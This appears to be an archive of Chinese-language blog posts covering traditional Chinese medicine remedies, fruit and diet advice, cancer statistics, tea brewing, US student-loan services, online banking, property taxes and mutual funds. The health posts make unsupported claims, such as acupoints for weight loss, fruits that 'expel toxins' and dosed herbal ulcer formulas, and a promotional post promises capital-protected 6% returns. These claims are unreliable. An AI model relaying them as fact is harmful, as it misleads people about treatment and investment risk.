        足阳明胃经经络穴位图(Foina 绘制)

        中脘穴配足三里穴可治疗脾胃虚弱。胃的功能要靠脾的阳气来推动,脾胃功能才能逐渐活络起来。因为人体的功能是靠经络里运行的各种气才能推动运转。

        足三里穴位于腿膝盖骨外侧下方凹陷往下约4指宽处。可促进消化系统功能、加快毒素排出、提高身体免疫力等。

        按摩方法:反复地用大拇指按揉足三里穴,四个手指头保住腿肚,或者用中指按压法来按揉或者用拳捶打,2~3分钟即可。

        此外,中医有三个专门减肥穴位:上脘穴(中脘向上1寸处)是为食道减负、中脘穴加快胃蠕动、下脘穴(肚脐向上2寸处)可让毒素不滞留。三个穴位长期坚持下去,就可达到很好的瘦身效果。

        2017-05-25 / by / in
        胃溃疡及十二指肠溃疡之中医诊疗

        溃疡与十二指肠溃疡疼痛有别

        疡部位相接触,那就更是疼痛剧烈胃溃疡疼痛的特色是胸部人字骨之下“心窝”的部位有明显的压痛点,且常在饭后一、二小时即出现疼痛,如果吃了坚硬的食物,与溃了。


        这种疼痛的部位是固定的,每一次发作,总在这个地方疼痛,可以由手指按捺得到。有时因为神经的传导,会痛到胸部两面下侧,以至背后及肩部。因此临床上偶见肩背疼痛的患者,怎么推拿按摩都无法改善症状,其实是由胃部疼痛所引致的。

        十二指肠溃疡疼痛的中心点,在心窝略偏向右方的位置,且常在饮食三、四小时后(即空腹时)疼痛,有时在半夜会疼痛大作而痛醒。十二指肠溃疡的原因,往往起自忧郁烦恼,刺激胃酸分泌过多,酸液积聚在胃部下端,侵蚀十二指肠上部,腐蚀肠膜,而发生溃疡。

        中药疗法

        古代中医对胃溃疡及十二指肠溃疡的疼痛没有严格的区分,这两种疼痛都属中医“胃脘痛”的范畴,治疗的药物并没有差异,但效果都是相当良好的。

        如胃酸过多在中医有热证、寒证之分。胃酸过多,容易饿,一饿就痛,吃点东西后会舒服些,此属热,可用“左金丸合乌贝散”治疗;若为饭后泛酸不舒者,多属寒,因胃寒则运化无力,可用“香砂六君子汤”、“二陈汤”之类温药和之,就不会泛酸了。

        如果胃里面有溃疡,吃下食物之后,食物压到伤口产生疼痛,急性发作疼痛得很厉害者,则必须活血(即改善局部的血液循环),一般可用溃疡的通治方“丹参饮”(丹参一两、砂仁二钱、檀香一钱)来治疗。疼痛不止者,可加乳香、没药;有泛酸的,可加乌贝散、川黄连。

        若溃疡三年五载不愈,衍成慢性,就不可再过度使用凉性消炎的药物来治疗,此时应用温养之剂,如“归耆建中汤”等来治疗。

        对于患有溃疡而大便稀溏者,可用“理中汤”治疗;若兼见口中带苦者,可用“连理汤”(即理中汤加黄连)。

        一般中医对于慢性溃疡性疾病的治疗原则为“健脾补中、舒肝理气、消积化滞”等方法并用,如此对于疾病的改善,相当有帮助。

        未愈原因

        一般来说,依照上述的药物来治疗溃疡性疾病,大部分患者可以痊愈。可是有许多患者却经年累月的不曾痊愈,更甚者,进一步变成胃或十二指肠出血,危及生命。推其原委,不外以下二点:

        一、患者没有治疗的决心,只在疼痛时寻求短期有效的药物,不作根本治疗的打算。临时设法止痛,在痛止之后,便不再加以理会了。

        二、患者认为溃疡病的症候,只要依赖药物来治疗就可以了,不知道要学习控制情绪及生活饮食习惯以避免溃疡病的恶化。

        根治之道

        在治疗溃疡病期间内,最关键的问题是不能让胃脘痛反复发作,也就是在治疗之前,一要先讲求正确的生活饮食习惯;二要扫除造成溃疡病的心理因素(如消除忧虑,避免烦恼等),并时时保有一颗祥和的心,修心养性。适当地服用正确的药物,再配合以上两点,这样的治疗才比较全面,这扰人的病痛也比较容易痊愈。

        2017-05-25 / by / in
        疾病问答: 内分泌失调是什么?为什么会失调?

        内分泌失调在人们的心目中是个笼统的概念, 很多人往往会觉得浑身不对劲,但又不像是生病,于是大家就把身体的不适解释成“内分泌失调”。到底是什么原因会内分泌失调呢?


        医学上称,正常人体的体内性激素的分泌都受到人体自身的调控,分泌的量恰好满足需要,但是如果因为某些原因,比如心情、工作压力、疾病等,就会引起内分泌腺分泌的激素过多或过少,新陈代谢功能紊乱,造成内分泌失调,导致内分泌疾病发生。

        人体有内分泌系统,分泌各种激素和神经系统一起调节人体的代谢和生理功能。正常情况下各种激素是保持平衡的,如因某种原因使这种平衡打破了(某种激素过多或过少)这就造成内分泌失调,会引起相应的临床表现。男性和女性都可能出现内分泌失调

        2017-05-24 / by / in
        内分泌失调? 吃5种水果可有效改善

        内分泌系统(endocrine system)是人体的重要调节系统,与神经系统共同调节生长发育和各种代谢,正常情况下各种激素是保持平衡的,如因某种原因使某种激素过多或过少,这就会造成内分泌失调,而出现很多种症状,还会引发各种妇科疾病


        环境污染、内分泌腺激素失衡、压力大、睡眠不佳,以及营养摄取不均衡等,都是造成内分泌失调的原因。内分泌失调对女性健康的危害是多方面的,主要表现为皮肤变差、白发早衰、脾气急躁、引发妇科疾病等,严重的可能会导致女性不孕。内分泌失调要如何调理?专家推荐经常吃5种水果对调理内分泌失调有很好的效果。

        以下这5种水果,经常吃可有效平衡内分泌。

        苹果

        苹果(Fotolia)
        苹果(Fotolia)

        苹果含有丰富的钾,可排出体内多余的钾盐,维持正常的血压。苹果还含有膳食纤维,有助于肠胃蠕动、帮助排毒、增加饱腹感,以减少摄取其他热量。

        中医认为,苹果性味干凉,入脾、胃经、肺经。具有生津、润肺、健脾、益胃、养心、止泻、降压、降胆固醇之功效。

        梨(Fotolia)
        梨(Fotolia)

        现代医学研究证明,梨确有润肺清燥、止咳化痰、养血生肌、助于消化、降低血压和养阴清热的效果,并能增强骨钙质。饭后吃颗梨,有利于体内致癌物的排出。

        中医认为,梨性味甘、微酸、性偏凉,归肺、胃经。有润肺清热,清痰降火、清胃泻热、养阴生津、滋肾补虚及润肠通便等作用。

        橘子

        橘子(苏玉芬 / 大纪元)
        橘子(苏玉芬 / 大纪元)

        橘子内含酵素,能抑制制造脂肪的细胞,再加上含有大量的食物纤维,有助于清理肠胃,减少体内毒素的积聚,有效降低体脂肪,还能产生饱足感。

        中医认为,橘子性味甘,酸而温,无毒。具有润肺止咳、开胃生津、健脾止泻、行气宣痹,舒肝解郁等多种效用。

        柿子

        柿子(Fotolia)
        柿子(Fotolia)

        柿子有健脾开胃、润肺生津和善心血管功能,能清热解毒,是降压止血的良药。黄色食物可以缓解女性荷尔蒙分泌衰弱、补充元气、健脾开胃、恢复精力。

        中医认为,柿子性甘寒微涩,归肺脾胃大肠经。具有润肺化痰、清热生津、涩肠止痢、健脾益胃,生津润肠、凉血止血等多种功效。

        香蕉

        香蕉(Fotolia)
        香蕉(Fotolia)

        香蕉具有强化消化系统功能,清除血液中的毒素,并有抗忧郁及提高免疫力的功效。中医认为其性味甘寒微涩,归心胃、大肠经、有清热止渴、清胃凉血、润肠通便、降压利尿,润肺化痰,清热生津之效。

        中医认为,香蕉性味甘寒微涩,归心胃、大肠经、有清热止渴、清胃凉血、润肠通便、降压利尿,润肺化痰,清热生津之效。

        2017-05-23 / by / in
        子宫内膜异位 不要滥服补品

        子宫内膜异位症是难缠的妇女病,在西医的定义是子宫内膜腺体及基质长在子宫腔以外的地方,中医对此病症并没有一定的名词,但因为会有痛经、不孕、症瘕、月经不调等病症。


        台湾奇美医院中医科医师陈怡文表示,临床多以活血化瘀法来治疗,而有此病症的女性,千万要少吃四物汤、八珍汤、中将汤、十全大补汤等补药,因为会造成子宫充血,使子宫内膜异位更加严重。

        陈怡文表示,子宫内膜异位是难缠的妇女病,中医认为,子宫内膜异位症的病因是以瘀血为主,故多采用活血化瘀法来治疗。但在临床诊断时,在瘀血的基础上,还要分清病患体质的寒热虚实,辨证施治。例如气滞血瘀型者,以理气活血化瘀法治疗,而血瘀湿热型者,以清热利湿化瘀法治疗。

        除此之外,月经期还要再针对患者主要的症状表现以治其标,痛经为主者加用延胡索、川楝子、乌药、失笑散等行气祛瘀止痛药;月经量多者加茜草、三七、蒲黄炭等祛瘀止血药;血热者加旱莲草、地榆炭等凉血止血药。有寒象者加炮姜、艾叶,以温经止血。

        陈怡文说,中医在子宫内膜异位症治疗中所扮演的角色,一是改善症状,再来是缓解西药治疗所引起的副作用,例如服用Danazol治疗会引起水肿、体重增加、皮肤油腻、长青春痘、肠胃不适、头痛、头昏眼花、疲倦等不舒服的症状,配合中药治疗后可将西药引起的副作用降到最低。再来则是预防复发,在西医手术治疗之后,服用中药调理可降低子宫内膜异位症的复发率。

        陈怡文提醒女性,患有子宫内膜异位症的病人,在饮食方面,要少吃烧烤炸辣及刺激性食物,而冰品、冷饮及寒凉的水果会导致骨盆腔循环不良,所以不宜多吃。最重要的是不可滥服补品,以免造成子宫充血,使子宫内膜异位更加严重。

        2017-05-23 / by / in , ,
        预防癌症6大诀窍

        现实中,癌症被确诊后,肿瘤细胞会不受控制的增长和扩散,常常侵入病灶的周围组织,并可转移到其它任何可能的部位。


        但是,约1/3的常见癌症,可以通过改变生活方式,避免接触常见高危因素(例如烟草烟雾)得到有效预防。此外,早期发现的癌症,通过手术、放疗或化疗,很大一部分可以治愈。

        14名常见癌症

        世界三大癌症分别是肺癌、乳癌、结直肠癌。(大纪元合成图)
        世界三大癌症分别是肺癌乳癌结直肠癌。(大纪元合成图)

        目前,全球每年约有800万人死于癌症。据联合国估计,这一数字将继续上升,到2030年可能超过1310万。

        世界癌症研究基金会(World Cancer Research Fund International)根据2012年诊断出的癌症新病例,统计出前14名常见癌症,结果如下:

        肺癌约180万例,最常见;乳癌约170万例,居第二;结直肠癌约140万例,位居第三。

        其它高于50万例的癌症依次是:前列腺癌110万例,居第四;胃癌95.2万例,居第五;肝癌78.8万例,居第六;子宫颈癌约52.8万例,居第七。

        另外七种癌症均在50万例以下:食管癌、膀胱癌、胰腺癌、肾癌、子宫内膜癌、卵巢癌和胆囊癌。

        生活方式VS患癌风险

        吸烟、饮食不良和久坐等生活方式,增加了患癌风险。(大纪元合成图)
        吸烟、饮食不良和久坐等生活方式,增加了患癌风险。(大纪元合成图)

        在生活方式多变的时代,吸烟、饮食不良和久坐等生活方式,使得人们的患癌症风险大大增加。有效预防癌症的第一步是真正了解生活方式和癌症风险之间的联系。

        UICC研究表明,吸烟仍是最大的患癌风险因素。吸烟每年造成500万人死亡,占癌症死亡总人数的22%。因此,降低吸烟率将大大降低诸多癌症,例如肺癌、口腔、咽喉、食管等10种癌症的发病率。此外,急性骨髓性白血病的在全球的患病率也会降低。

        饮酒也会大大增加癌症的患病风险。强有力的证据表明,酒精饮料会增加这七种器官癌症的风险:口腔,咽,喉,食管,肝,乳腺和胰腺。

        肥胖现象上升趋势也颇令人担忧。研究表明,超重和肥胖与下列癌症风险密切相关:肠、乳腺、子宫、卵巢、胰腺、食管、肾和胆囊癌。

        预防癌症6大诀窍

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        可通过控制酒精、坚持运动、哺乳等方式来预防癌症。(大纪元合成图)

        如上所述,癌症和生活方式密切相关。据世界癌症研究基金国际组织估计,美国约31%的病例,可通过健康饮食、保持合理的体重和坚持运动来预防。

        因此,癌症研究机构建议,预防癌症可从这些方面入手:

        ● 控制体重

        保持体重在健康范围内,控制使用导致体重增加的食物和饮料,尤其要避免高热量食物和含糖饮料。

        ● 坚持运动

        每天至少坚持30分钟的身体锻练活动,尽量避免久坐不动。

        ● 健康饮食

        尽量选择多种谷物、新鲜蔬菜、水果和豆类。动物性食品,要限制红肉,避免加工肉。也要注重食物的保存、加工等环节,避免霉变或含盐量过高的食物。

        ● 控制酒精饮品

        喝酒这会加重病情,促进细胞转化。健康出现严重症状者,要启动预防癌症管理,避免喝酒。

        ● 膳食营养补充剂

        预防癌症,不要单纯依赖营养补充剂,要综合膳食、保健、精神等因素,多管齐下。

        ● 哺乳

        如果可以,尽量用母乳喂养你的宝宝六个月。

        2017-05-20 / by / in , , ,
        每天吃一颗蛋 可降低糖尿病风险

        项最新的研究发现,每天吃一颗蛋,可降低罹患二型糖尿病的风险。不过,蛋可能提高糖尿病患的心脏病风险。因此,研究人员也提醒,已有二型糖尿病者最好避免吃蛋。该研究成果刊登在《美国临床营养学期刊》。


        这项研究的东芬兰大学的研究员,在为期19年的研究调查里,纪录了2,000名中年男性的饮食习惯,结果发现,每天至少吃半个蛋,与一周吃一个蛋或更少的人比起来,可降低37%二型糖尿病风险。

        (Fotolia)
        (Fotolia)

        这个结果确实令人意外,研究人员表示,不要因胆固醇而把蛋妖魔化,忽略了蛋提供其他多种有益成分。蛋除了含有高品质的蛋白质、多元不饱和脂肪酸、维他命和矿物质以外,还含有生物活性合成物,如类胡萝卜素(carotenoids),具有抗发炎的作用,是可以降低糖尿病的风险因素。

        主要研究员、东芬兰大学营养流行病学兼任教授韦塔南(Jyrki K.Virtanen)博士建议,没有二型糖尿病的健康民众,一天可吃一个蛋。

        2017-05-20 / by / in
        日本绿茶想泡得好喝 专家告诉你这些秘诀

        日本绿茶的“苦、涩”是人们普遍的印象,台湾日本茶顾问何杏文实地走访日本九州茶园后发现,原来冲泡日本绿茶“甘、苦”关键在温度,“愈高档的茶,水温要愈低”才能避免过多的苦涩味。


        据中央社报道,何杏文说,台湾人习惯喝乌龙茶,都是以滚烫的水冲泡,而日本茶多属不发酵绿茶,含有儿茶素(涩味)、咖啡因(苦味)及氨基酸(甘味);氨基酸类成分无关水温高低都会溶出;但儿茶素及咖啡因则会随着水温越高,溶出越多,所以用低温冲泡日本茶,可以降低苦、涩味,保留甘味。

        何杏文指出,一般玉露大多使用摄氏50-60度左右的水冲泡,浸泡时间约2分钟;煎茶使用70-80度的水冲泡浸泡时间约1分钟;焙茶则使用沸腾的开水冲泡,浸泡时间约30秒。

        用量上,1人份1茶匙约3公克;3人份的茶叶量约9-10公克,出茶汤时建议以“平均分茶法”来回将茶汤注入品茗杯,倒出最后一滴为止。

        日本茶指导员下薗千惠子则提醒,要泡出美味的茶,除了温度外,最好用“软水”冲泡,建议选择硬度100度以下水。

        无论是绿茶、乌龙茶、红茶,这些茶的源料都是从同一种植物“茶”而来,只是制作程序不同。日本茶属不发酵茶,透过加热蒸煮的方式破坏养化酵素,使其不发酵,越新鲜越好;乌龙茶属半发酵茶;红茶则属发酵茶。

        何杏文说,台湾人较熟知的日本茶为玉露、抺茶,但日本人日常生活中最普遍饮用的是煎茶跟焙茶,煎茶重甘醇,焙茶重香气。

        玉露,为日本极品绿茶的代表,采收前14-20天在茶树上做覆盖遮光栽培,主要作用是避免氨基酸转换为儿茶素,保有更甘厚风味,只取第一次手摘的嫩芽(一番茶),并且只有叶肉,不含茎梗,可说是最高等级的日本茶,茶汤带有强烈如昆布汤般鲜甜(旨味,Umami)口感,是一款独特风味日本茶。

        煎茶,为日本人日常生活中最普遍饮用的茶,一般煎茶属“浅蒸煎茶”,即只蒸30-40秒,随即揉捻、干燥、整形。宫崎地区多为“深蒸煎茶”,也就是蒸菁时间视需求延长达60-70秒,减低茶汤涩味、提升整体甘甜风味。

        焙茶,一般浅蒸煎茶所遗留的茎梗,再经高温煎炒、烘培,色泽呈咖啡色,香气浓烈。茶叶中的咖啡因因高温烘焙后降低,所以焙茶中的咖啡因含量亦较一般煎茶低,适合在意咖啡因摄取过量的茶爱好者。

        抺茶(碾茶),抺茶是由名为“碾茶”的茶叶研磨而成,碾茶和玉露同样皆经覆盖遮光栽培,茶叶粗制之后不经过搓揉便直接干燥,使用石臼将碾茶研磨成粉末,即为抺茶。抺茶的茶风味是苦中充满甘甜。

        2017-05-17 / by / in , , ,
        美国用户的私人借贷平台

        借贷俱乐部(Lending Club)是一个针对美国用户的私人借贷平台,成员通过这个平台可以实现小额借款或贷款,由于跳过了银行这个中间环节,所以存款利息会比银行存款利息高,贷款利息会比直接向银行贷款的利息低。这个平台根据贷款人的各种信用信息包括FICO信用分数把借款人分成不同的风险等级,风险越高,利率越高。而借款人可以根据自己的需求选择自己信任的贷款人放贷。


        Lending Club于去年5月作为社交网站Facebook的应用程序开始运作,运作模式如网上拍卖,想借钱的人设置可接受利息上限,由贷款人进行竞投,谁愿意收较低利息,谁就可借出贷款。Lending Club负责将还款分配给贷款人,从中收取手续费。Lending Club目前占据美国P2P借贷市场79%的份额。主要竞争者为Prosper。Lending Club所筹资金将用于进一步开发平台、推出新产品、提高客户服务并扩大销售和市场推广工作。

        Lending club累计吸引了来自红杉资本等美国最著名风投机构的5270万美元投资。高速发展、清晰的商业盈利模式是它大受追捧的原因,每一笔交易都为它带来总交易额4%左右的收入。不过,随着用户规模的逐渐扩大,保持高速增长的难度在加大。创新营销方式更具有吸引力的产品是Lending club最需要完成的两大任务。前者正是Lending club崛起的最重要原因之一。Lending club在P2P 交易方式上即有着与其竞争对手不同的策略,显示其更注重对交易流程的控制。它并不采用P2P网站通行的一对一竞标方式,而是在对不同用户进行信用等级评定之后,由网站规定相对应的固定利率和固定期限。这大大增加交易撮合成功的机会,也让贷款打包设计固定收益产品,对接外部财富管理市场的过程大大简化。

        Lending club开发了自己的风险识别系统lendingmatch。lendingmatch核心理论之一是P2P贷款方式因为接待双方在同一个社交网络之中,一般有亲属或朋友关系因而能降低其违约概率。但这种风险识别方式因为难以量化和验证而不为外部认可。因此,在最新发布的说明中,lendingmatch仅仅被描述为“一种基于客户的家庭不动产情况,贷款期限,过往记录的风险计算方式”,而抛弃了以往对借贷双方关系的衡量。

        联系方式

        电话:(888) 376-6642
        传真:(415) 632-5608
        地址:美国,加州,旧金山,史蒂芬孙300号
        网址www.lendingclub.com

        2017-05-16 / 39 Comments / by / in , ,
        学生贷款服务公司

        Binksty是一家旨在帮助大学生管理和偿还贷款的学生贷款服务公司。为学生提供一站式服务并传授他们一些省钱妙法。


        目前,该平台帮助管理的学生贷款数额已过1000万美元。目前,学生贷款负担沉重。《纽约时报》近期报道显示,目前学生贷款总额达8700亿美元,30岁以下的人群中40%都申请了学生贷款,是申请学生贷款的主要人群,平均贷款金额为23300美元。所幸的是出现了一些像Binksty一样的创业公司,这些公司旨在帮助减轻学生的贷款负担。

        Binksty目前是创业加速器First Growth Venture Network孵化的四级创业公司之一,去年年底开始进行内测。该公司是一个服务于学生贷款的个人理财工具,公司CEO Brendan McQueen更喜欢将Binksty称为学生贷款服务版Mint.com。

        2012年3月,Binksty宣称网站帮助管理的学生贷款数额已过1000万美元,并于近日与金融服务商Yodlee建立合作关系。Yodlee将为Binksty用户提供贷款汇总工具,另一家创业公司Fynanz也在为Binksty用户提供贷款合并及再融资的选择。此外,Binksty将于近期更新网络平台,新设计将使浏览贷款和寻找简易还款途径变得更为容易。

        Binksty公司CEO Brendan McQueen称,2011年9月至今,该公司注册用户增长率已达1300%。如此惊人的增长率主要是因为用户在这里可以进行贷款合并,获得贷款细节、还款工具以及相关建议。Binksty会对贷款进行横向比较,在此基础上找出适合用户的所有可选的还款方式。McQueen认为这正是Binksty不用于其他同类平台的最大特色。Binksty 3%的客户已开始个人贷款合并,这将给公司带来收入。前期网站以基于帮助借贷人工具的简单引导性作为营收模式,预计今年后期发布一些新功能,慢慢完善自身的盈利模式。Binksty近日获得一小笔种子基金,该公司处于成熟过程中,很快将脱离FVGN加速器开始自己的首轮融资。

        联系方式

        邮箱:contact@binksty.com
        网址binksty.com

        2017-05-16 / by / in , , ,
        校园贷款

        ACS教育服务(ACS Education Services)为客户校园贷款、个人教育贷款和联邦家庭教育贷款的客户服务和偿还服务。ACS Education Services为客户提供客户服务,随时接听您的电话,和您保持联系,鼓励您偿还贷款,了解您的住址信息和联系方式。


        通过邮件或电子邮件发送回执信息。如果您符合条件的话,可以申请延期还款或者暂缓还款。每月向全国的客户中心报告您的还款状态。为您提供可以管理您的网上账户的相关信息。

        如果您接到来自声称是ACS 或者是ACS Education Services 的电话,而您又不确定的话,可以登录您的账户给我们发送邮件来确认。 不要通过电话将您的九位数的社保号码给任何人。不要通过电话将您的银行账户信息透漏给任何人。不要在您的那些不是很安全的邮箱地址中包含您的社会保险号码。将您不需要的包含了任何有关您的私人信息的纸质文件用文件粉碎机进行粉碎。

        网址www.acs-education.com

        2017-05-16 / by / in
        联邦家庭教育贷款

        美国教育服务(American Education Services,AES)是为全美的贷款合作伙伴服务的,它由美国宾夕法尼亚州高等教育援助机构(PHEAA)担保,并为联邦家庭教育贷款计划(FFELP)和私人学生贷款的系列产品提供保养服务。


        AES在为数以万计的贷款学生提供高质量客户服务方面堪称全国的领导者,它能够提供训练有素并且经验丰富的客户服务。

        联系方式

        电话:717-720-3100
        传真:717-720-3916
        网址www.aessuccess.org

        2017-05-16 / by / in
        联邦贷款服务

        联邦贷款服务(FedLoan Servicing),是由宾夕法尼亚州高等教育援助机构(Pennsylvania Higher Education Assistance Agency,简称PHEAA)建立的,目的是为了支持美国教育部的学生贷款服务。


        宾夕法尼亚州高等教育援助机构成立FedLoan Servicing机构和美国教育服务机构(American Education Services,简称AES)这两家机构,来指导全国的学生贷款服务活动。

        FedLoan Servicing是一家有限制的会员制组织,并获得美国教育部批准,致力于美国学生贷款服务,并通过简单方便的方式支持借款人管理他们的学生贷款。

        联系方式

        网址www.myfedloan.org
        电话:1-800-655-3813
        电子邮箱:SchoolSupport@MyFedLoan.org。

        2017-05-16 / by / in
        如何能获得房屋贷款的TIPS

        1 有一份固定的工作:贷款人希望看到您一直有工资入账,并且会比较稳定的持续下去。

        2 有积蓄:您要有一定金额的储蓄,并且有规律的储蓄习惯。大概计算一下未来所需还款的金额,要证明您有能力每月按时缴付贷款。


        3 没有其他贷款或者信用卡账务:如果已经有贷款,尽可能的还清贷款。尤其是,不能有任何信用卡债务。

        4 尽量在有孩子之前申请贷款:在2012年度,有孩子的家庭申请贷款成功率是最低的。

        5使用银行长期自动转账来缴付房租: 很容易让贷款人看到您过去缴付房租的情况。

        6维持一个良好的活期账户,不能有透支情况:如果您经常有透支的情况发生,那么会大大降低您获得贷款的概率。

        7拥有良好的信用纪录:绝不能错过任何一次汽车贷款或信用卡的还款,银行信用记录上的任何一次不良纪录都有可能造成申请贷款被拒,就是这么简单。

        8需要欧盟身份或者拥有stamp 4签证: 申请者必须拥有居住权,如果没有,很遗憾,那就没资格申请了。

        9如果您是自雇人士,确保已经更新了账户和纳税申报: 贷款人的底线数字是最近两年的平均收入和缴税情况。相较于会计师,银行更相信税务局。

        10不要在线赌博: 这是申请贷款被拒绝的理由之一。

        11在申请前不要有大的开销:在申请住房贷款前的6至12个月之前,避免大的开销。

        12考虑贷款的利率: 注意入门的优惠利率,并且要考虑优惠利率之后的贷款利率是否合适。

        2017-05-16 / by / in ,
        新美国居民的现金管理

        把小孩送来美国留学,学费加生活费的开销也许并不比在中国私立学校读书高。带钱来美国,除了银行利息低,对理财产品又不了解,又找不到可以信赖的专业经理人,现金无法有效增值之外,而且人民币还一直在贬值,留学生们应该怎様理财才好?


        其实管理留学生费用有几种方式。第一种方式:新美国居民们在选择在哪里存储你辛苦赚来的钱之前,你们可知道除了传统银行外,美国有网路银行?由于美国的网路银行可以节省分行租房费用以及人事开支,所以有着较低的营业成本,进而可以给予投资者较高的利息回报。

        相比传统实体银行来说,美国的网路银行可以提供更好的存贷款利率。有FDIC(联邦存款保险公司)保险的网上银行意味着在此网路银行上存款同样会受到和传统银行一样的保护。投资人在网上开设个人或者公司储蓄账户后,连结自己本身传统银行账户,把暂时不需要的现金存在利息较高的储蓄账户。如果你的目标是想让你的储蓄最终能有所增长,那么你应该把资金转到网上银行进行存储,因为可以收取更高的利率。

        网上银行的平均储蓄利率比实体银行的平均储蓄利率高出约7倍以上,比信用合作社提供的平均储蓄利率高出4倍以上。如果你可以从网上银行获得1.75%的年度收益率(APY)。相比之下,传统银行的年度收益百分比(APY)平均仅为0.08%。为什么不选择把钱存在网路银行呢?

        网路银行有着以下几个优点:

        1.全面实现无纸化交易。所有的票据都变为电子票据,并且纸质文件都可通过网络数据通信进行传送。

        2.方便、快捷、高效。实现3A服务(Anytime,Anyhow,Anywhere),不受时间地域等服务。

        3.开设账户后,可下载移动应用APP程序,并可用手机24小时追踪账户,有效控制每月生活消费。

        4.此账户没有每月的维护费用并且提供免费快捷转账。

        5.最重要的优点是高回报率!

        除了优点之外,网路银行也有一些小小的不足之处。对于一些不习惯于运用电脑与手机应用软件的人,也许网路银行并不是他们的首选;其次网路银行的华语客服时间是星期一到星期五9:00am~6:00pm,客户提交提款申请后需要24~48小时现金才能到达账户并取出。

        总的来说,网路银行还是应该成为绝大多数人存储暂不需要资金的首选。10万美元以下存款利息是1.75%(APY),10万美元以上存款利息是2.75%(APY),100万美元以上存款利息是3.5%(APY)Synchrony Bank ( FDIC Member)。

        第二种方式:我们也有其它保本6%国家及政府债券投资账户。我们位于比佛利山庄(Beverly Hills),离Rodeo Drive 1英里。现在新开户有立即送现金活动。(本文由American Capital Republic, Inc. 提供)◇

        微信号:Amcap2003

        华语专缐:424-302-8380李翊绫

        网址:www.firstamericandream.com

        内有中文内页

        地址:131 N. Robertson Blvd., #B, Beverly Hills, CA 90211

        2017-05-16 / by / in , , ,
        美国地税税率最高和最低的十个州

        对美国拥有房子的家庭来说,住房开销是每月最大一笔的费用,且大部分费用毫无疑问来自抵押贷款,还有房屋保险和地税等。单从地税来看,美国各州有很大不同。


        据“今日美国”报导,事实上,地税是无数房主的巨大负担,在美国某些州,地税轻易就超过按揭付款费用。如新泽西州2015年的平均地税增至8,353美元。

        那么,美国各地的平均地产税率是多少?根据美国人口调查局数据,典型家庭每年花费2,127美元的地税,但在美国的一些地区,房主可能要支付超过平均地税10倍的数额。由于地税是房主不可避免的一部分费用,当你买房时,需要考虑地税费用。

        买房要综合考虑房价和地税

        全美范围内,夏威夷、阿拉巴马州、路易斯安那州和特拉华州的房产税税率最低。与此相反,新泽西州、伊利诺伊州、新罕布什尔州和威斯康星州的地税税率最高。

        如果你想买房,需要考虑地税如何影响整体住房成本。但请记住,地税税率是基于房屋价值多少而定。一个州(或一个州内地区)可能地税税率高,但房价低,整体看来比其它地方更实惠。

        以夏威夷为例,虽然夏威夷拥有全国最低的税率,但它的房价中位数仍然很高,约 504,500美元。与此同时,特拉华州的房产税率几乎是夏威夷的两倍,但房价中值仅为23.29万美元。

        这意味着,如果你在夏威夷拥有价值504,500美元的房子,将每年支付1,412美元的房产税。但如果你在特拉华州拥有价值232,900美元的房子,你每年将支付1,234的地税。

        不仅如此,232,900美元的房屋按揭付款也低于价值504,500美元的房子每月付款。换句话说,虽然地税确实影响住房成本,但买房时还是要整体考虑。

        地税在上涨

        买房时需要了解关于地税的另一件事是,即使在房价下降时期,地税也会增加。2000年,美国房主支付了大约2470亿美元的房地产税。到2010年不久之后房地产泡沫破灭,但在房地产市场恢复之前,这一数字却攀升到4760亿美元。

        虽然你不能预测未来的地税,也不能太大意,买房子还是要保守一些。一般来说,房屋成本(包括保险和地税在内)不应超过家庭收入的30%,如果每月在房子上的花费已经很高,如果下一年地税增加,就可能入不敷出。

        另一方面,也需要考虑各地缴纳地产税所要求的方式,例如,在一些地方,居民需要使用挂号邮件邮寄房产税;而在其它地区,居民除了缴纳税款外,不得不支付私人运输费。

        此外,不要忘记房产可以获得很好的扣税。如果你的房产税较高,每年报税后获得退税也多。

        总之,无论是首次买房还是考虑搬家,请务必注意房产税在总体住房成本中的份额。

        以下是美国地税税率最高和最低的10个州:

        税率最低的10个州:

        1、夏威夷
        地税税率:0.28%
        2、阿拉巴马
        地税税率:0.43%
        3、路易斯安那
        地税税率:0.48%
        4、特拉华州
        地税税率:0.53%
        5、华盛顿DC
        地税税率:0.57%
        6、南卡
        地税税率:0.57%
        7、西弗吉尼亚
        地税税率:0.59%
        8、阿肯色州
        地税税率:0.62%
        9、科罗拉多
        地税税率:0.62%
        10、怀俄明州
        地税税率:0.62%

        税率最高的10个州:

        1、新泽西州
        地税税率:2.29%
        2、伊利诺伊
        地税税率:2.25%
        3、新罕布什尔
        地税税率:2.1%
        4、威斯康星
        地税税率:1.97%
        5、德克萨斯州
        地税税率:1.93%
        6、康涅狄格
        地税税率:1.91%
        7、内布拉斯加州
        地税税率:1.88%
        8、密歇根州
        地税税率:1.83%
        9、佛蒙特
        地税税率:1.72%
        10、罗德岛
        地税税率:1.61%

        2017-05-16 / by / in , , , , , ,
        美国人怎样买基金

        据美国投资公司协会调查数据显示,2006年年约有48%的美国家庭持有共同基金,基金持有人达9600万人,平均每三个美国人中就有一个是共同基金持有者。而在美国家庭的金融资产结构中,共同基金更占据了47%的比重。


        调查显示,美国70%的基金投资者至少有10年“基龄”。

        美国投资公司协会的最新调查显示,截至2006年11月底,美国共同基金管理的资产达10.281万亿美元,在全球基金市场占据了53%的比重,相当于美国2005年国内生产总值的83% 。在美国,基金业特别是共同基金已俨然成为最大的金融机构体系,并对人们的日常生活有着举足轻重的影响力。

        偏好目标日期基金

        在美国,各类投资基金比较发达,据报道,美国共有15300多家投资公司,8000多只共同基金,6400多个单位投资信托,620多只封闭式基金,150多只交易所基金。这样,人们对投资基金有了更多的选择。最近几年,目标日期基金在投资者当中得到了爆炸式的增长,这些基金之所以有时会被人们称为目标日期基金,是因为它们是为那些准备在某一目标日期达到特定理财目标的投资者所设计的。比如,一个投资者打算在2030年前后退休,他往往会选择一只投资目标时间在2030年的基金。

        目标日期基金的首要特征在于,这些基金的顾问会确定一个股票,债券及现金资产的特定比例,然后伴随目标日期逐渐临近,他们会逐步调整投资组合的结构,使其风格由激进逐步转向稳健。

        这些基金的投资理念在于,一旦你决定投资某一只基金,将资金投入进去,经理人就可以在较长的一个时间周期内,根据市场的变化,为你监控具体投资的走势,并进行周期性的重置。

        了解配置目标是关键

        在对一只目标日期基金进行评估时,首先应该了解一下基金当前和将来的资产配置情况,因为这是决定基金风险的最重要因素。投资者必须了解基金的投资风格是否符合自己的承受力和需求。操作费用比率也不是一个可以忽略的因素,对于目标日期基金而言,这一因素的意义尤其重要,因为这种基金投资往往更为多元化,增长潜力不及那些投资风格比较激进的基金。大多数时候,选择那些净操作费用比率较低的基金是一个好的选择。

